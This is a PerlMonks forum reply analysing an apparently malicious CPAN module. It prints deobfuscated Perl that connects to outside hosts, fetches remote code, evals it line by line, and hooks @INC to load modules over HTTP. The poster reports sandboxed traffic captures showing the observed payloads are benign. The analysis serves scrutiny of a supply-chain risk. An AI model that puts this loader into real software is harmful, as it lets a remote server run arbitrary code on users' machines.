Beefy Boxes and Bandwidth Generously Provided by pair Networks
"be consistent"

comment on

( #3333=superdoc: print w/replies, xml ) Need Help??
What was this code supposed to do, anyway? Here is what I managed to piece together, starting from Module-AutoLoad-0.05/contrib/ and substituting eval unpack or eval <$b> with string values available to me, also feeding stuff to perl -MO=Deparse | perltidy (which I consider to be safe in the absence of BEGIN blocks):
#!/usr/bin/perl -w use strict; use IO::Socket; use lib do { if ($b = new IO::Socket::INET "R.cX:1") { #eval <$b> # transforms into: #eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE.150B=W< +N;&EM97)A,6XN8V]M.C@P(GTB1T54("]I2F%I;$)RH96%K#0HB.V5V86P\)&(^;W(@<F5 +T=7)N('=A<FXD0'=H:6QE)&([,0} # followed by: # if 0; # not running under some shell #use base qw(Exporter); #our @EXPORT=qw(botstrap); #$b->SUPER::expand; ## IP Bait HOP no. 47 : RCX Framework - 2001-09-19 # ...which is ignored because <$b> returns only the first line do { print { $b = new IO::Socket::INET "" } "GET /iJailBreak\r\n"; # followed by this loop: #while ($b) { # eval <$b> or return warn $@; #} # what does it do? first round: <$b> contains #eval unpack u=>q{_)&(])&(M/G!E97)H;W-T+B(Z(BXD8BT^<&5E<G! +O<G0[)&$](D504D]-+F)L;V-K(FEF('!R:6YT>R1B/6YEC=R!)3SHZ4V]C:V5T.CI)3D5 +4)&)])&)>(@Y<;FX:?`AN82(} # if 0; # not running under some shell #$b=IO::Socket::INET6->new($b) or die "Scan failed?"; #$a->chk_BootROM($b) or die "Scan failed?"; #$a->PwnageTool; #$a->RedSn0w; # Packed IPv6 tunnel ## SHAtter GreenPois0n @GeoHot HOP no. 62 : RCX Framework +- 2002-02-13 # again, only running first line: $b = $b->peerhost . ':' . $b->peerport; # $b is "46.246.28 +.22:80" # the {} block is evaluated first, making $b an IO::Socket +::INET object # stringified $b xor this code transforms into "GET /g\r\n +" followed by junk if (print {$b = 'IO::Socket::INET'->new($b);} $b ^ "\cN\nn +\cZ|\cHna") { $a = 'EPROM.block'; } # second round: <$b> contains more code for us to evaluate +: #eval unpack u=>q{_<W5B(&)O='-T<F%P>V5V86P@9V5T('5R;"(D>UY +)3D-]+T!?+G!M(F9O<B`Q+BXR.R)`7R(M/FEM<&]R=#M<_)F)O='-T<F%P.CII;F-];W! +E;B1]+"(^(BQ<)&([<')I;G0D?6UA<'MS=6)S='(D82PD7RPQ?6UA<'MS<&QI_="(B?75 +N<&%C:R)#*B(L)V9+[#LB)SMP<FEN='LD8CUN97<@24\Z.E-O8VME=#HZ24Y%5"(D8CHX +,")](D=%(5"`O)&%<;B(} # if 0; # not running under some shell #$b->SUPER::import('IPv6'); ## XP_Windows 4(Quad)CPU 64bits HOP no. 83 : RCX Framework + - 2004-02-03 # again, only running the first line: sub botstrap { eval get url "${^INC}/" for 1 .. 2; "@_"->import; \&botstrap::inc; } # $} doesn't break use strict, like $a and $b open $}, ">", \$b; print $} map { substr $a, $_, 1 } map { split "" } '102752 +365934'; # $b now contains 'PERl.ROb.cOM' that we built from parts +of $a print { $b = new IO::Socket::INET "$b:80" } "GET /$a\n"; # third round: getting even more code from yet another ser +ver! #eval unpack u=>q{_)'M>24Y#?3TD8BT^<&5E<FAO<W0N(CHB+B1B+3Y +P965R<&]R="XB+V1L(CMU;F1E9B1A.W5N9&5F)&([<&%C_:V%G92!B;W1S=')A<#MS=6( +@:6YC>VUY)&D]<VAI9G0[:68H)$E.0ULP765Q)&DI>W!U<VA`24Y#+'-H:69T_0$E.0SM +R971U<FXH*7UM>21F/7-H:69T.VEF*"1[7DE.0WTF)B1[7DE.0WT]?B]>:'1T<#HO)B8D +9CU^;7M>_*%M>+UTN*EPN<&TI)'TI>VUY)'1R>3TB)'M>24Y#?2\D,2([;7DD8SUG970@ +=7)L)'1R>3MI9B@D8SU^+UY<_<RHH7"-\<&%C:V%G92E<<R]M*7MO<&5N*&UY)&9H+"(\ +(BQ<)&,I.R1)3D-[)&9]/21T<GD[<F5T=7)N)&9H_?7UR971U<FXH*7UP86-K86=E('5R +;#MS=6(@8W5R;'ML;V-A;"1?/7-H:69T.VUY)&T]<VAI9G1\?&1I92)C_=7)L.B!-971H +;V0@<F5Q=6ER961<;B([)&T]=6,D;3LD7SUS:&EF=#LH;7DD<W-L/7-[7FAT='`H<WPI. +B\O_?7M]:28F)#$I)B8]979A;'MR97%U:7)E($E/.CI3;V-K970Z.E-33'T[;7DD<&]R= +#TD<W-L/S0T,SHX,#MS_>UXH6UQW7"U<+EPZ72LI)'U[)#$O?3MS>UXH6UQW7"U<+ETK* +2]]>R0Q.B1P;W)T+WT[:68H;7M>*%M<=UPM_7"Y=*SI<9"LI*"\N*BE]*7MM>21H;W-T/ +20Q.VUY)'!A=&@])#([;7DD=6$])#`[;7DD8STB(CMM>21I<#TD_:&]S=#MI9BAM>21A< +F=S/7-H:69T*7LD:7`])%\@:68D7SUD96QE=&4D87)G<RT^>V9O<F-E7V-O;FYE8W1?_: +7!].R1I<"X](CHD,2)I9B1I<"%^+SI<9"LD+R8F)&AO<W0]?B\Z*%QD*RDO.R1U83TD7R +!I9B1?/61E;&5T_921A<F=S+3Y[=7-E<E]A9V5N='T[)'5A+CTB7')<;E)E9F5R97(Z(" +1?(FEF)%\]9&5L971E)&%R9W,M/GMR_969E<F5R?3LD=6$N/2)<<EQN0V]O:VEE.B`D7R +)I9B1?/61E;&5T921A<F=S+3Y[8V]O:VEE?3LD8SUJ;VEN_(B8B+&UA<'LH;7DD=CTD87 +)G<RT^>R1??2D]?G,O*"XI+W-P<FEN=&8B)24E,#)8(BQO<F0D,2]E9SLB)%\]_)'8B?6 +ME>7,E)&%R9W-];7DD<CTH(DE/.CI3;V-K970Z.B(N*"1S<VP_(E-33"(Z(DE.150B*2D +M/FYE=RA0_965R061D<CT^)&EP/3Y34TQ?=F5R:69Y7VUO9&4]/C`I;W(@<F5T=7)N('= +A<FXB)&EP.B0A7&XB.R1H;W-T_/7YS+SHD<&]R="0O+SMI9B@B1T54(F5Q)&TI>R1P871 +H+CTB/R1C(FEF)&,[<')I;G0D<B`B1T54("1P871H_($A45%`O,2XP7')<;E5S97(M06= +E;G0Z("1U85QR7&Y(;W-T.B`D:&]S=%QR7&Y<<EQN(GUE;'-E>VUY)&P]_;&5N9W1H)&, +[<')I;G0D<B`B)&T@)'!A=&@@2%144"\Q+C!<<EQN57-E<BU!9V5N=#H@)'5A7')<;D-O +;G1E_;G0M5'EP93H@87!P;&EC871I;VXO>"UW=W<M9F]R;2UU<FQE;F-O9&5D7')<;D-O +;G1E;G0M;&5N9W1H.B`D_;%QR7&Y(;W-T.B`D:&]S=%QR7&Y<<EQN)&-<<EQN(GUL;V-A +;"0O.W)E='5R;EMS<&QI="];7')<;EU[,RQ]_+RP\)'(^+#)=+3Y;,5U]96QS97MW87)N +(DUA;&9O<FUE9"!54DPZ("1?7&XB?7)E='5R;B(B?7-U8B!G971[U<VAI9G0M/F-U<FPH +1T54/3Y`7RE]<W5B('!O<W1[<VAI9G0M/F-U<FPH4$]35#T^0%\I?3$} # if 0; # not running under some shell #use strict; #use 5.014; ## EPROM Block Burner HOP no. 94 : DO NOT REMOVE! - Love, +HookBOT 2007-08-02 # and the first line transforms into the rest of the boots +trapping code: ${^INC} = $b->peerhost . ":" . $b->peerport . "/dl"; undef $a; undef $b; package botstrap; sub inc { my $i = shift; if ( $INC[0] eq $i ) { push @INC, shift @INC; return ( +) } my $f = shift; if ( ${^INC} && ${^INC} =~ /^http:/ && $f =~ m{^([^/]. +*\.pm)$} ) { my $try = "${^INC}/$1"; my $c = get url $try; if ( $c =~ /^\s*(\#|package)\s/m ) { open( my $fh, "<", \$c ); $INC{$f} = $try; return $fh; } } return (); } package url; sub curl { local $_ = shift; my $m = shift || die "curl: Method required\n"; $m = uc $m; $_ = shift; ( my $ssl = s{^http(s|)://}{}i && $1 ) &&= eval { requ +ire IO::Socket::SSL }; my $port = $ssl ? 443 : 80; s{^([\w\-\.\:]+)$}{$1/}; s{^([\w\-\.]+)/}{$1:$port/}; if (m{^([\w\-\.]+:\d+)(/.*)}) { my $host = $1; my $path = $2; my $ua = $0; my $c = ""; my $ip = $host; if ( my $args = shift ) { $ip = $_ if $_ = delete $args->{force_connect_ +ip}; $ip .= ":$1" if $ip !~ /:\d+$/ && $host =~ /:( +\d+)/; $ua = $_ if $_ = delete $args->{user_agent}; $ua .= "\r\nReferer: $_" if $_ = delete $args- +>{referer}; $ua .= "\r\nCookie: $_" if $_ = delete $args- +>{cookie}; $c = join "&", map { ( my $v = $args->{$_} ) =~ s/(.)/sprintf"% +%%02X",ord$1/eg; "$_=$v" } keys %$args; } my $r = ( "IO::Socket::" . ( $ssl ? "SSL" : "INET" ) ) ->new( PeerAddr => $ip => SSL_verify_mode => 0 ) or return warn "$ip:$!\n"; $host =~ s/:$port$//; if ( "GET" eq $m ) { $path .= "?$c" if $c; print $r "GET $path HTTP/1.0\r\nUser-Agent: $ua\r\nHo +st: $host\r\n\r\n"; } else { my $l = length $c; print $r "$m $path HTTP/1.0\r\nUser-Agent: $ua\r\nContent-Type: app +lication/x-www-form-urlencoded\r\nContent-length: $l\r\nHost: $host\r +\n\r\n$c\r\n"; } local $/; return [ split /[\r\n]{3,}/, <$r>, 2 ]->[1]; } else { warn "Malformed URL: $_\n" } return ""; } sub get { shift->curl( GET => @_ ) } sub post { shift->curl( POST => @_ ) } 1 } && botstrap("RCX"); } }; use sword; drop sword; exit 0;

(updated the code after I threw off some of the red herrings)

Note that the evals are followed by if 0 (does the server return different payloads for select clients?), but eval is run line-by-line, so the code actually gets executed. Also note manually-crafted errors to populate $@ with the next key to the puzzle.. Where is the definition of botstrap that is referenced so many times? Is package EPROM.block supposed to be available anywhere for this script to run?I ran this in a sandbox and captured the traffic using Wireshark. Indeed, the definition of botstrap (both package and subroutine) is downloaded later in a very convoluted way. I wouldn't be surprised to know that most of it is red herrings.

Added later:

From there on, it downloads and evaluates

# Tell botstrap where to load RCX modules ${^INC} = "";
then, using the second address, downloads and evaluates a different file
package RCX; use strict; sub import { print "Congratulations! The RCX framework has been loaded.\n"; } 1;
then, on use sword, does the same with
package sword; print "RCX Sword has been drawn.\n"; sub drop { print "RCX Sword has been dropped.\n"; } 1;
(Note how the server response is a bit different whether the code does HTTP/1.0 requests manually with some tricks in User-Agent: header or you follow the link in a browser: in the latter case you get a 302 redirect to

To summarise, what I have been able to observe looks benign, but entirely irresponsible. Also, it is impossible to prove good intentions of this code, since the remote server (or a MITM) could serve an entirely different payload to select clients and/or depending on time (related reading).

See also:

Merry Christmas!

Congratulations! You figured it all out.
Or did I? We may never know.

In reply to Re: Malicious module on CPAN by aitap
in thread Malicious module on CPAN by choroba

Use:  <p> text here (a paragraph) </p>
and:  <code> code here </code>
to format your post; it's "PerlMonks-approved HTML":

  • Posts are HTML formatted. Put <p> </p> tags around your paragraphs. Put <code> </code> tags around your code and data!
  • Titles consisting of a single word are discouraged, and in most cases are disallowed outright.
  • Read Where should I post X? if you're not absolutely sure you're posting in the right place.
  • Please read these before you post! —
  • Posts may use any of the Perl Monks Approved HTML tags:
    a, abbr, b, big, blockquote, br, caption, center, col, colgroup, dd, del, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, ins, li, ol, p, pre, readmore, small, span, spoiler, strike, strong, sub, sup, table, tbody, td, tfoot, th, thead, tr, tt, u, ul, wbr
  • You may need to use entities for some characters, as follows. (Exception: Within code tags, you can put the characters literally.)
            For:     Use:
    & &amp;
    < &lt;
    > &gt;
    [ &#91;
    ] &#93;
  • Link using PerlMonks shortcuts! What shortcuts can I use for linking?
  • See Writeup Formatting Tips and other pages linked from there for more info.
  • Log In?

    What's my password?
    Create A New User
    and the web crawler heard nothing...

    How do I use this? | Other CB clients
    Other Users?
    Others drinking their drinks and smoking their pipes about the Monastery: (6)
    As of 2020-10-26 15:20 GMT
    Find Nodes?
      Voting Booth?
      My favourite web site is:

      Results (251 votes). Check out past polls.